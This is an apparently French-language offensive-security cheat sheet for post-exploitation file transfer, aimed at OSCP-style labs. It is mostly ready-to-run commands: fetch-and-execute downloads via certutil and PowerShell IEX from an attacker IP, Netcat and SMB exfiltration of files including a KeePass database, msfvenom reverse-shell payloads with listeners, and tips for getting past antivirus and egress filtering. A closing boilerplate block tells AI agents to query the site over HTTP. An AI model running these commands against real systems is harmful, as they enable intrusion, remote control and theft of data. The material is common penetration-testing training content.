> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/post-exploitation/file-transfer.md).

# Transfert de fichiers

Le transfert de fichiers est généralement l’un des premiers problèmes pratiques après avoir obtenu un point d’appui : faire entrer des outils, faire sortir des preuves, et le faire via le protocole que le réseau cible autorise. Gardez plusieurs méthodes prêtes, car HTTP, SMB, FTP, PowerShell et Netcat sont bloqués différemment selon les environnements.

{% hint style="info" %}
Privilégiez le transfert le plus simple qui fonctionne, vérifiez les hachages lorsque l’intégrité est importante, et supprimez les charges utiles temporaires, les partages et les écouteurs une fois la tâche terminée.
{% endhint %}

## Tableau de décision rapide

| Situation                                              | Premier choix                                                       | Solutions de secours             |
| ------------------------------------------------------ | ------------------------------------------------------------------- | -------------------------------- |
| La cible Linux peut atteindre le HTTP de l’attaquant   | Serveur HTTP Python + `wget`/`curl`                                 | SCP, Netcat, Base64              |
| La cible Windows peut atteindre le HTTP de l’attaquant | Serveur HTTP Python + PowerShell                                    | `certutil`, SMB, FTP             |
| La cible Windows peut atteindre SMB                    | Impacket `smbserver.py`                                             | HTTP, FTP                        |
| Besoin d’exfiltrer de Windows vers Linux               | Partage SMB avec prise en charge de l’écriture                      | Netcat, Base64                   |
| Très petit fichier texte                               | Copier/coller Base64                                                | Netcat                           |
| Sortie réseau restreinte                               | Essayez les ports courants autorisés, tels que `80`, `443`, ou `53` | Faire d’abord un pivot/un tunnel |

## Transferts vers une cible Linux

### `Wget`

```bash
python3 -m http.server 8000
wget http://10.10.11.1:8000/file.pdf
```

### **`Curl :`**

```bash
python3 -m http.server 1234
curl -O http://10.10.11.25:1234/file.pdf
```

### `Netcat`

Côté réception :

```bash
nc -lvp 4444 > file.pdf
```

Côté envoi :

```bash
cat file.pdf | nc 10.10.11.25 4444
```

### `Scp :`

Depuis le serveur source :

```bash
scp /path/to/file user@10.10.11.25:/path/to/destination
```

Depuis le serveur de destination :

```bash
scp user@10.10.11.1:/path/to/file /path/to/destination
```

## Transferts vers Windows depuis Linux

### Serveur SMB

SMB est souvent la voie de transfert Kali vers Windows la plus fiable lorsque le port `445` est joignable.

Sur Kali :

```bash
smbserver.py share_name . -smb2support
```

Si Windows exige une authentification :

```bash
smbserver.py share_name . -smb2support -username user -password password
```

Sur Windows :

```powershell
copy \\10.10.14.10\share_name\file.exe C:\Temp\file.exe
```

### Serveur HTTP

Sur Kali :

```bash
python3 -m http.server 8000
```

Sur Windows avec PowerShell :

```powershell
Invoke-WebRequest -Uri "http://10.10.14.10:8000/file.exe" -OutFile "C:\Temp\file.exe"
```

Client PowerShell alternatif :

```powershell
(New-Object System.Net.WebClient).DownloadFile("http://10.10.14.10:8000/file.exe", "C:\Temp\file.exe")
```

En utilisant `certutil`:

```powershell
certutil -urlcache -split -f "http://10.10.14.10:8000/file.exe" C:\Temp\file.exe
```

### Serveur FTP

FTP est utile lorsque HTTP/SMB est restreint mais que le FTP sortant est autorisé.

Sur Kali :

```bash
sudo apt update
sudo apt install python3-pyftpdlib
python3 -m pyftpdlib -p 21 --write
```

Sur Windows, créez un petit fichier de commandes FTP :

```powershell
echo open 10.10.14.10 21> ftp_commands.txt
echo anonymous>> ftp_commands.txt
echo password>> ftp_commands.txt
echo binary>> ftp_commands.txt
echo get file.exe>> ftp_commands.txt
echo bye>> ftp_commands.txt
ftp -s:ftp_commands.txt
```

## Transferts vers une cible Windows

### `Certutil`

```powershell
python3 -m http.server 80
certutil.exe -f -urlcache -split http://10.10.10.10/shell.exe
```

### `Invoke-WebRequest`

```powershell
python3 -m http.server 80
Invoke-WebRequest -Uri "http://10.10.10.10/file.exe" -OutFile "file.exe"
```

### `IEX (Invoke-Expression)`

```powershell
python3 -m http.server 80
IEX(New-object Net.WebClient).downloadString('http://10.10.10.10/file')
```

### `Téléverser le fichier`

Vous devez vous assurer que les fichiers se trouvent dans le répertoire approprié pour être accessibles par le serveur. Utilisez la commande suivante pour effectuer le téléversement

```bash
upload /home/jordan/Desktop/htb/return/content/nc.exe
```

### `Partage de fichiers SMB`

```bash
smbserver.py share $(pwd) -smb2support
```

Puis accédez à votre partage SMB à l’adresse suivante :

```powershell
copy \\10.10.10.10\share\file C:\Temp\file
```

## Transfert de fichiers de Windows vers Linux

### Téléversement SMB

Démarrez un partage SMB avec authentification et prise en charge de SMB2 :

```bash
smbserver.py -smb2support -username user -password password share_name /tmp/share
```

Depuis la cible Windows, copiez le fichier vers le partage SMB de l’attaquant :

```powershell
copy C:\Users\kohsuke\Documents\CEH.kdbx \\10.10.14.9\share_name\
```

<figure><img src="/files/581e4ccbf235a81f2dcdafe606dfa7a904136e35" alt=""><figcaption></figcaption></figure>

### Exfiltration Netcat

Sur Linux, écoutez et écrivez les octets entrants dans un fichier :

```bash
nc -nlvp 4444 > received_file.txt
```

Sur Windows :

```powershell
type C:\path\to\file.txt | nc.exe 10.10.14.10 4444
```

### Base64 pour les petits fichiers

Sur Windows :

```powershell
certutil -encode C:\path\to\file.txt encoded.b64
type encoded.b64
```

Sur Linux, collez le contenu encodé et décodez-le :

```bash
echo "PASTE_BASE64_HERE" | base64 -d > file.txt
```

## Notes sur la préparation des charges utiles

La génération de charges utiles relève des outils d’exploitation, mais il est utile de garder à portée de main les formats de préparation courants à côté des notes de transfert de fichiers.

Exemples Windows :

```bash
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.10 LPORT=443 -f exe -o reverse.exe
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.10 LPORT=443 -f psh -o reverse.ps1
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.10 LPORT=443 -f dll -o reverse.dll
```

Exemples Linux :

```bash
msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.14.10 LPORT=443 -f elf -o reverse
msfvenom -p cmd/unix/reverse_python LHOST=10.10.14.10 LPORT=443 -f raw -o reverse.py
```

Écouteur :

```bash
nc -nvlp 443
```

## Conseils de flux de travail OSCP

1. Préparez les méthodes HTTP, SMB, Netcat, FTP et Base64 avant de commencer.
2. Testez l’écouteur et le chemin de la charge utile avant le téléversement.
3. Utilisez des ports qui ont de fortes chances d’être autorisés par le réseau cible, tels que `80`, `443`, ou `53`.
4. Gardez un petit répertoire de charges utiles/outils prêt afin d’éviter de recréer les mêmes fichiers à répétition.
5. Sachez que l’antivirus peut bloquer les charges utiles ou les méthodes de transfert ; changez de protocole ou de format si nécessaire.
6. Nettoyez les outils temporaires, les charges utiles, les scripts FTP, les partages SMB et les fichiers préparés après validation.

## Dépannage

| Problème                              | Vérifications                                                                                                                           |
| ------------------------------------- | --------------------------------------------------------------------------------------------------------------------------------------- |
| Connexion SMB refusée                 | Exécutez `smbserver.py` avec des privilèges suffisants, confirmez le port `445`, et essayez `-smb2support`.                             |
| Windows ne peut pas accéder à SMB     | Essayez les indicateurs d’authentification, vérifiez les règles du pare-feu ou passez à HTTP.                                           |
| Le téléchargement HTTP échoue         | Confirmez que la cible peut atteindre l’adresse IP de l’attaquant et que le fichier se trouve dans le répertoire servi.                 |
| PowerShell bloqué                     | Essayez `certutil`, SMB, FTP ou un chemin de téléchargement de type living-off-the-land autorisé par la politique.                      |
| L’antivirus supprime la charge utile  | Transférez d’abord un fichier de test inoffensif, puis ajustez le format de la charge utile, la préparation ou la méthode de livraison. |
| Permission refusée après le transfert | Utilisez `chmod +x` sur Linux ou examinez les ACL Windows avec `icacls`.                                                                |
| L’envoi vers SMB échoue               | Démarrez le partage avec un chemin inscriptible et des identifiants, puis retestez avec un petit fichier texte.                         |

## Nettoyage

```bash
rm -f reverse reverse.exe reverse.ps1 reverse.dll
rm -f ftp_commands.txt encoded.b64 received_file.txt
```

Sur Windows :

```powershell
del C:\Temp\file.exe
del C:\Temp\reverse.exe
del ftp_commands.txt
certutil -urlcache * delete
```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/fr/post-exploitation/file-transfer.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
